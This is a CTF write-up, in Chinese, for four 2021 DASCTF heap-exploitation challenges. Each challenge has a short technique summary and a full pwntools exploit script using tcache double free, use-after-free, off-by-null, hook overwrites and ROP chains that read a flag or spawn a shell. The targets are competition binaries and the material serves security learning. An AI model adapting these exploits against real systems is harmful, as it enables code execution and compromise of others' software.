2021MARDASCTF

比赛的时候只做出来一题,其余的全是赛后学习r1nd0师傅的wp

fruitpie

mmap分配的chunk和libc之间的偏移固定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.arch='amd64'
LOCAL=0

if LOCAL:
p=process('./fruitpie')
else:
p=remote('54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com', 50902)

offset=-0x260+0x90

p.sendafter('malloc:\n','99999999')
leak=int(p.recvline().rstrip(),0x10)
p.success('leak: '+hex(leak))
base=leak+0x7fe288477000-0x7fe282518010
p.success('base: '+hex(base))

malloc_hook=base+0x7f071698cc30-0x7f07165a1000
offset=malloc_hook-leak-8

p.sendlineafter('Offset:\n',hex(offset))

# attach(p,'b malloc\nc')


one_gadget=base+0x10a45c
p.sendafter('Data:\n',flat([0x0,one_gadget]))

p.interactive()

ParentSimulator

一次tcache double free构造两个相同的指针,改__free_hook为freegadget栈迁移,orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.arch='amd64'
LOCAL=1

if LOCAL:
p=process('./pwn')
else:
p=remote('54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com', 50902)

def add(idx,name=''):
p.sendlineafter('6.Exit\n','1')
p.sendlineafter('index?\n',str(idx))
p.sendlineafter('Girl:\n','1')
p.sendlineafter('name:\n',name if len(name) == 0 else name[:-2])

def edit(idx,content):
p.sendlineafter('6.Exit\n','2')
p.sendlineafter('index?\n',str(idx))
p.sendlineafter('name:\n',content[:-2]) # max 8 bytes
p.recvuntil('Done!\n')

def show(idx):
p.sendlineafter('6.Exit\n','3')
p.sendlineafter('index?\n',str(idx))

def delete(idx):
p.sendlineafter('6.Exit\n','4')
p.sendlineafter('index?\n',str(idx))
p.recvuntil('Done\n')

def desc(idx,content):
p.sendlineafter('6.Exit\n','5')
p.sendlineafter('index?\n',str(idx))
p.sendlineafter('description:\n',content)


def backdoor(idx):
p.sendlineafter('6.Exit\n','666')
p.sendlineafter('index?\n',str(idx))
p.sendlineafter('Girl:\n','1')


# use backdoor to double free
add(0)
delete(0)
backdoor(0)
delete(0)

add(7)
add(8) # two ptr -> the same chunk

# fill tcache
for i in range(7):
add(i)
for i in range(7):
delete(i)

delete(7)
show(8)
p.recvuntil('Name: ')
base=u64(p.recv(6).ljust(8,b'\x00'))-(0x7f31e605abe0-0x7f31e5e6f000)
p.success('base: '+hex(base))
freehook=base+(0x7f3578995b28-0x7f35787a7000)
freegadget=base+0x34ED5
leave_popbxbpr12_ret=base+0x3be22

add(0)
add(1) # unluckily , need to free twice to leak heap
delete(7)
# target chunk in tcache now

show(8)
p.recvuntil('Name: ')
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-(0x55af7b8c27f0-0x55af7b8c2000)
p.success('heapbase: '+hex(heapbase))
target_chunk=heapbase+(0x563da27b6900-0x563da27b6000) # chunk 1

edit(8,p64(freehook))

add(2)
add(3,p64(freegadget)) # chunk at __free_hook

edit(1,p64(target_chunk+0x20))

# double control rbp , leave twice
payload=p64(target_chunk+0x8)+b'flag'.ljust(8,b'\x00')
payload+=p64(leave_popbxbpr12_ret)

# following the stack in on heap, basic rop open-read-write

syscall=lambda:p64(base+0x66229)
pop_rax=lambda rax:flat([base+0x4a550,rax])
pop_rdi=lambda rdi:flat([base+0x26b72,rdi])
pop_rsi=lambda rsi:flat([base+0x27529,rsi])
pop_rdx=lambda rdx:flat([base+0x11c1e1,rdx,0])

# open(filename,flags,mode)
payload+=pop_rdi(target_chunk+0x18)+pop_rsi(0)+pop_rdx(0)+pop_rax(2)+syscall()
# read(3,buffer,len)
payload+=pop_rdi(3)+pop_rsi(target_chunk+0x100)+pop_rdx(0x100)+pop_rax(0)+syscall()
payload+=pop_rdi(1)+pop_rax(1)+syscall()

desc(1,payload)

# attach(p,'b malloc\nb free\nc')

p.sendlineafter('6.Exit\n','4')
p.sendlineafter('index?\n',str(1))
p.interactive()

clown

uaf攻击tcache_perthread_struct,改__free_hook为freegadget迁移栈,orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.arch='amd64'

p=process('./clown')

def add(size,content='\n'):
p.sendlineafter('3.Show\n','1')
p.sendlineafter('Size: \n',str(size))
p.sendafter('Content: \n',content)

def delete(idx):
p.sendlineafter('3.Show\n','2')
p.sendlineafter('Index: \n',str(idx))
p.recvuntil('Done\n')

def show(idx):
p.sendlineafter('3.Show\n','3')
p.sendlineafter('Index: \n',str(idx))

# leak heap address
add(0x100) # 0
delete(0)
show(0)
heapbase=u64(p.recv(5).ljust(8,b'\x00'))<<(3*4)
p.success('heapbase: '+hex(heapbase))

heap_unlink=lambda addr:p64((heapbase>>12)^(addr))

# fast bin attack
for i in range(7): # prepare 0x80 fb chunks
add(0x78) # 1-7
for i in range(2): # two fastbin chunk for fb attack
add(0x78) # 8-9
for i in range(9): # prepare 0x110 ub chunks
add(0x100) # 10-18

for i in range(7): # fill tcache
delete(1+i)

add(0x18) # 19
add(0x38) # 20
add(0x68) # 21

delete(8)
delete(9)
delete(8)


for i in range(7): # clear 0x80 tcache chunks
add(0x78) # 22-28
for i in range(8):
delete(10+i) # free 8th chunk into ub


add(0x78,heap_unlink(heapbase+0x90)) # 29
add(0x78) # 30
add(0x78) # 31

delete(19) # tcache[0x20] ++
delete(20) # tcache[0x40] ++
delete(21) # tcache[0x70] ++

payload=p64(heapbase+(0x564c6134fe90-0x564c6134f000)) # 0x20
payload+=p64(0)*4 # 0x30 0x40 0x50 0x60
payload+=p64(heapbase+0x90) # 0x70

add(0x78,payload) # 32 get chunk at tcache_per_thread_struct
add(0x18) # 33 get chunk that is already in ub
show(33)
base=u64(p.recv(6).ljust(8,b'\x00'))-(0x7facf91aec0a-0x7facf8ff7000)
p.success('base: '+hex(base))
freehook=base+(0x7f701ac55b60-0x7f701aa9b000)
p.success('freehook: '+hex(freehook))

# cnt is checked before malloc, so cnt should not be zero
# 0x40 chunk's cnt is 1, 0x70 -> tcache_per_thread_struct
payload=p64(0xdeadbeef)*2+p64(freehook)
add(0x68,payload) # 34

freegadget=base+0x33691 # mov rax, [rdi+0x20]; mov rbp, rdi; call rax
add(0x38,p64(freegadget)) # 35

# ROP chain
target_heap=heapbase+(0x55690e971d80-0x55690e971000)+0x20
pop_rax=lambda rax:flat([base+0x000000000003efe8,rax])
pop_rdi=lambda rdi:flat([base+0x00000000000277d6,rdi])
pop_rsi=lambda rsi:flat([base+0x0000000000032032,rsi])
pop_rdx=lambda rdx:flat([base+0x00000000000c800d,rdx])
syscall=lambda:flat([base+0x000000000003F1A9])
leaveret=lambda:flat([base+0x000000000004d317])
pop3=lambda:flat([base+0x000000000006bbe3])

payload=p64(0)
payload+=pop3()
payload+=b'flag.txt'
payload+=p64(0)
payload+=leaveret()

# open(filename,flags,mode)
payload+=pop_rdi(target_heap-0x10)+pop_rsi(0)+pop_rdx(0)+pop_rax(2)+syscall()
# read(3,buffer,length)
payload+=pop_rdi(3)+pop_rsi(heapbase)+pop_rdx(0x100)+pop_rax(0)+syscall()
# write(1,buffer,length)
payload+=pop_rdi(1)+pop_rax(1)+syscall()

add(0x100,payload) # 36

# attach(p,'b malloc\nb free\nc')

p.sendlineafter('3.Show\n','2')
p.sendlineafter('Index: \n',str(36))
p.interactive()

babybabybabyheap

off-by-null一次,构造fakechunk实现堆块重叠,tcache attack改free@got为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.arch='amd64'

p=process('./pwn')
p.recvuntil('gift:')
base=int(p.recvline().rstrip(),0x10)-(0x7f82335045a0-0x7f823347d000)
p.success('base: '+hex(base))
system=base+(0x7fa9e6e7a410-0x7fa9e6e25000)

def add(idx,size,content=''):
p.sendlineafter('>> ','1')
p.sendlineafter('index?\n',str(idx))
p.sendlineafter('size?\n',str(size))
p.sendlineafter('content?\n',content)

def delete(idx):
p.sendlineafter('>> ','3')
p.sendlineafter('index?\n',str(idx))

def edit(idx,content):
p.sendlineafter('>> ','4')
p.sendlineafter('(y/n)\n','')
p.sendlineafter('index?\n',str(idx))
p.sendlineafter('content?\n',content[:-1])

ptr_arr=0x404140+0x8
prev_size=0x420490-0x41f2a0+0x90*2

# attack free@got to system
add(1,0x1f8,p64(0)+p64(prev_size)+p64(ptr_arr-0x18)+p64(ptr_arr-0x10)) # 1
add(31,0x88) # 31
add(30,0x88) # 30
for i in range(7):
add(2+i,0x1f8) # 2-8
add(9,0x1f8)
add(10,0x1f8)
add(11,0x1f8) # protect
edit(9,b'vanish'.ljust(0x1f0,b'A')+p64(prev_size))

for i in range(7):
delete(2+i)

delete(10)
delete(30)
delete(31)
add(31,0x200,b'vanish'.ljust(0x1e0)+p64(0)+p64(0x91)+p64(0x404018))
add(1,0x88)
add(1,0x88,p64(system))
add(1,0xf0,b'/bin/sh\x00')
delete(1)
# attach(p,'b malloc\nb free\n')

p.interactive()